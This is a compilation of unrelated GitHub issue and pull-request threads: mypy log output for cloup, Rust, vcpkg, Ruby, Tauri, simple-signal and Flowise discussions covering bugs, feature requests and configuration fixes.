LOG:  Metadata fresh for datetime: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/datetime.pyi
LOG:  Metadata fresh for glob: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/glob.pyi
LOG:  Metadata fresh for cloup.formatting.sep: file /Users/alex/Software/cloup/cloup/formatting/sep.py
LOG:  Metadata fresh for _warnings: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/_warnings.pyi
LOG:  Metadata fresh for sre_compile: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/sre_compile.pyi
LOG:  Metadata fresh for sre_constants: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/sre_constants.pyi
LOG:  Metadata fresh for cloup.constraints.common: file /Users/alex/Software/cloup/cloup/constraints/common.py
LOG:  Metadata fresh for os.path: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/os/path.pyi
LOG:  Metadata fresh for subprocess: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/subprocess.pyi
LOG:  Metadata fresh for csv: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/csv.pyi
LOG:  Metadata fresh for email: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/email/__init__.pyi
LOG:  Metadata fresh for posixpath: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/posixpath.pyi
LOG:  Metadata fresh for importlib_metadata._adapters: file<EMAIL_ADDRESS>LOG:  Metadata fresh for importlib_metadata._meta: file<EMAIL_ADDRESS>LOG:  Metadata fresh for importlib_metadata._collections: file<EMAIL_ADDRESS>LOG:  Metadata fresh for importlib_metadata._compat: file<EMAIL_ADDRESS>LOG:  Metadata fresh for importlib_metadata._functools: file<EMAIL_ADDRESS>LOG:  Metadata fresh for importlib_metadata._itertools: file<EMAIL_ADDRESS>LOG:  Metadata fresh for email.message: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/email/message.pyi
LOG:  Metadata fresh for random: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/random.pyi
LOG:  Metadata fresh for weakref: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/weakref.pyi
LOG:  Metadata fresh for _thread: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/_thread.pyi
LOG:  Metadata fresh for math: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/math.pyi
LOG:  Metadata fresh for time: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/time.pyi
LOG:  Metadata fresh for tempfile: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/tempfile.pyi
LOG:  Metadata fresh for webbrowser: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/webbrowser.pyi
LOG:  Metadata fresh for msvcrt: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/msvcrt.pyi
LOG:  Metadata fresh for tty: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/tty.pyi
LOG:  Metadata fresh for termios: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/termios.pyi
LOG:  Metadata fresh for urllib.parse: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/urllib/parse.pyi
LOG:  Metadata fresh for _stat: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/_stat.pyi
LOG:  Metadata fresh for _operator: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/_operator.pyi
LOG:  Metadata fresh for sre_parse: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/sre_parse.pyi
LOG:  Metadata fresh for _csv: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/_csv.pyi
LOG:  Metadata fresh for email.policy: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/email/policy.pyi
LOG:  Metadata fresh for genericpath: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/genericpath.pyi
LOG:  Metadata fresh for importlib_metadata._text: file<EMAIL_ADDRESS>LOG:  Metadata fresh for platform: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/platform.pyi
LOG:  Metadata fresh for email.charset: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/email/charset.pyi
LOG:  Metadata fresh for email.contentmanager: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/email/contentmanager.pyi
LOG:  Metadata fresh for email.errors: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/email/errors.pyi
LOG:  Metadata fresh for _random: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/_random.pyi
LOG:  Metadata fresh for fractions: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/fractions.pyi
LOG:  Metadata fresh for _weakrefset: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/_weakrefset.pyi
LOG:  Metadata fresh for _weakref: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/_weakref.pyi
LOG:  Metadata fresh for urllib: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/urllib/__init__.pyi
LOG:  Metadata fresh for email.header: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/email/header.pyi
LOG:  Metadata fresh for decimal: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/decimal.pyi
LOG:  Metadata fresh for numbers: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/numbers.pyi
LOG:  Loaded graph with 127 nodes (0.055 sec)
LOG:  Found 68 SCCs; largest has 34 nodes
LOG:  Processing 67 queued fresh SCCs
LOG:  Processing SCC singleton (foo) as inherently stale
foo.py:4: error: Name "cloup.Context" is not defined
foo.py:4: error: Class cannot subclass "Context" (has type "Any")
LOG:  Deleting foo foo.py foo.meta.json foo.data.json
LOG:  No fresh SCCs left in queue
LOG:  Build finished in 0.158 seconds with 127 modules, and 5 errors
Found 2 errors in 1 file (checked 1 source file)

I've narrowed down the issue to the --no-implicit-reexport option of mypy. If that is not included (but all the other strict options), then it passes.

I guess, I'll have to write those __all__...

@janluke No problem. Appreciate you addressing this.

Closed by

#122


fix: stackOverflow error during resolvability check

Summary:
Fixed stackOverflow error during resolvability check for empty resolvers
Issue Reference(s):
Fixes #758 - Part 1
Build & Testing:

[x] I ran cargo test successfully.
[x] I have run ./lint.sh --mode=fix to fix all linting issues raised by ./lint.sh --mode=check.

Checklist:

[ ] I have added relevant unit & integration tests.
[ ] I have updated the documentation accordingly.
[x] I have performed a self-review of my code.
[x] PR follows the naming convention of <type>(<optional scope>): <title>

@A-N-uraag Are you working on this one? I feel there are quite a few edge cases that we need to handle here.


[multiple-ports] Fix missing usage

Fix (maybe) all ports with usage provided but forgot to install with draft vcpkg-tool lint-port function

CI Regression, not related to this PR

Could you please solve the conflicts?

Anything else I should do?

https://github.com/microsoft/vcpkg/pull/29345#discussion_r1098387161

OK, Ready to go!


[Question] Accept PR for config flag on how to deal with empty strings

I would love a feature where an empty string is coerced into a nil value.
So something like this:
TypeCoerce[T.nilable(String)].new.from('', coerce_empty_to_nil: true)
=> nil

This can be super useful when parsing request parameter (empty fields are passed in as an empty string)
Would you accept a PR like this?

Hi @leifg, after talking to @katyho (my manager + one of the core maintainers) it sounds like a PR would be welcome! Let me know if you are still interested in creating one!

Yes, still interested. Let me see what I can come up with on the weekend.


How to execute preload script with webview in frontend [feat]

Describe the problem
I create a runtime window like this
  let docs_window = tauri::WindowBuilder::new(
    &handle,
    "external", /* the unique window label */
    tauri::WindowUrl::External("https://tauri.app/".parse().unwrap())
  )
  .initialization_script(include_str!("./preload.js"))
  .build().unwrap();

Defined a function in preload.js
function onPageLaunch(cb) {
  console.log('onPageLaunch');
  cb();
}

Now I want to call this preload-function in my main window.
const callWebview = () => {
  let webview = WebviewWindow.getByLabel('external');
  webview?.emit('onPageLaunch', () => {
    console.log('cb');
  });
};

but it not work :(
Describe the solution you'd like
A waring in the console
tauri.app/:1
   The resource https://tauri.app/assets/js/main.a13da785.js was preloaded using link preload but not used within a few seconds from the window's load event. Please make sure it has an appropriate `as` value and it is preloaded intentionally.

tauri.app/:1
   The resource https://tauri.app/assets/js/runtime~main.6cdae8d1.js was preloaded using link preload but not used within a few seconds from the window's load event. Please make sure it has an appropriate `as` value and it is preloaded intentionally

Alternatives considered
No response
Additional context
No response

the preload script is not listening to the events, so it won't be triggered. Also, you can't send callbacks through events, events are just used to send data.
I am not sure what you want that callback to do tbh but what you need to do instead, is something like this:
preload.js:
function onPageLaunch(eventPayload) {
  console.log('onPageLaunch');

  // do stuff

  // trigger a callback in the main window
  emit("invokeMainCallback")
}

listen('onPageLaunch', (e) => onPageLaunch(e.payload));

and you can call this like this:

listen("invokeMainCallback", (e)=> {
	// run callback logic here
});

const callWebview = () => {
  let webview = WebviewWindow.getByLabel('external');
  webview?.emit('onPageLaunch');
};

Thanks. How can I execute some javascript code in a website webview ? For example I create a window with https://tauri.app/, then I want to extract dom data from the page.

I want to extract dom too, any help?

@carmel  you can get the dom representation as HTML from document.outerHTML and send it to Rust. Actual dom manipulation has to be done through JS.

Sounds simple enough, I'll give it a try, thanks!


Polish translation

Coverage remained the same at 97.849% when pulling 577243a310e3a206c223a46fc74c7e81b1513f28 on mbajur:mbajur-patch-1 into 9739c6cf9bad64ec386624b5cdd86da9cd0c50f7 on moove-it:master.

Coverage remained the same at 97.849% when pulling 577243a310e3a206c223a46fc74c7e81b1513f28 on mbajur:mbajur-patch-1 into 9739c6cf9bad64ec386624b5cdd86da9cd0c50f7 on moove-it:master.

Thanks!


[Question] Users online and received / read information?

First asked that in wetrtc topic, but maybe more signaling related like session initialization? So I ask it here, @t-mullen :)
I searched and read some information about webrtc and maybe would start to play with webrtc (simple-peer, simple-signal)...
During think about it I stumbled over user online / offline presence and read by recipient information.
Is it possible to implement such features and how could it be done?
I think webrtc connection is started on demand (chat, audio call offer). Send+Receive text message could be verified by data channel of both others are online, but if one user is offline (or just not "active" in the chat session = no webrtc connection established) webrtc data channel isn't established, right?
So how could it done?

Sure, you can implement this by using the websocket connection status to the signalling server. You're right that you can't use WebRTC to show this kind of information (you must be connected already to know anything about peers through WebRTC).
Server:
var offlinePeers = {}
var onlinePeers = {}
signal.on('discover', (request) => {
  const peerID = request.socket.id
  delete offlinePeers[peerID]
  onlinePeers[peerID] = true
  request.discover(peerID, { online: Object.keys(onlinePeers), offline: Object.keys(offlinePeers) })
  request.socket.on('disconnect', () => {
      delete onlinePeers[peerID]
      offlinePeers[peerID] = true
  })
})

Client:
signalClient.addListener('discover', (discoveryData) => {
  discoveryData.online // online peers
  discoveryData.offline // offline peers
})

I should be able to add a full example of this sometime soon.

If you want to be able to send messages to offline peers, you could either send them to the websocket server and have the user request them when they're back online (like a traditional messaging app).
If you want to keep messages P2P, it gets trickier.  I can do a basic example of this too.

My idea is more a messenger (WhatsApp, Telegram, Hangout) instead of a "simple" chat (write with online and connected users only)...
I know that's maybe to much to start with, but before I start I would be sure what is possible and what not / to complicated.
Text messages, audio / video calls and transfer files should be possible with webrtc / simple-peer. Signaling could be done with simple-signal. So I need to check how complicate features
user online / offline info
typing indicator
message received / read info
send to offline users
reduce usage of servers or provider like google if possible
That's why I searching libs / frameworks like simple-peer, simple-signal, signalhub, ...

If you want to only send messages via WebRTC, it gets trickier.  I can do a basic example of this too.

You mean without server, but replicate to peers would move from a central server to a unknown peer / client? Instead of replicate to clients I think a server (optional with encryption) to store messages would be better.
But another problem could be multiple clients (desktop, mobile) or push notifications (webpush api, but maybe also a server part needed client -> server -> vendor push service -> client).
So instead of a "small" basic project which could be extended it looks like a very big project and redundant to projects like nextcloud talk, matrix or tinode (Go based xmpp alternative in early development).


[BUG] Credentials could not be decrypted issue while using MySQL as database

Describe the bug
After switching to MySQL as database, it is failed to decrypt the credential during chatting.
To Reproduce
Steps to reproduce the behavior:

Configure the .env to use MySQL (empty database)
Start server
Create a flow with "Simple Conversation Chain" template
Change the "ChatOpenAI" to "Azure ChatOpenAI"
Add new credential to "Azure ChatOpenAI"
Save the flow
Start chatting
A "Credentials could not be decrypted" message is returned

Expected behavior
It has no error if I don't change the database. The chatbot can reply me correctly.
Screenshots

Flow
If applicable, add exported flow in order to help replicating the problem.
Setup

Installation: yarn start
Flowise Version<EMAIL_ADDRESS>OS: Windows
Browser Brave

Have you specify SECRETKEY_PATH to persist encryption.key?

Have you specify SECRETKEY_PATH to persist encryption.key?

No. Is it compulsory to set this path?

Have you specify SECRETKEY_PATH to persist encryption.key?

I tried to set SECRETKEY_PATH and I can see the  encryption.key the file. But the same issue persist.
Thanks.

Have you specify SECRETKEY_PATH to persist encryption.key?

No. Is it compulsory to set this path?

if you are using cloud services like Render, Railway, yes. If you are running locally, nope. The reason credential is not able to decrypt is because when using SQLite, all credentials are saved into SQLite database into credentials table. Then switching to MySQL these credentials are obviously not saved there, so it wont be able to decrypt or get those credentials

I have set SECRETKEY_PATH and I can see the encryption.key in the folder, but the same issue persist.

I'm facing the same error, with postgres and sqlite, I have two cloud services and I've been facing this same problem, even using sqlite as the main database

I am using a docker image with Flowise, which was working ok, and at some point I started getting the same exact error, though I haven't changed anything on the container.

This issue arises when the key within the .key file is not preserved. To resolve this, simply define the SECRETKEY_PATH environment variable and, in your specific scenario, link it to a volume. Consider the following example:
environment:
      - SECRETKEY_PATH=/root/flowise/secrets
volumes:
      - ./secrets:/root/flowise/secrets

With latest flowise you can set your secret variable:
FLOWISE_SECRETKEY_OVERWRITE=myencryptionkey
Please refer to this documentation
https://docs.flowiseai.com/configuration/environment-variables#for-credentials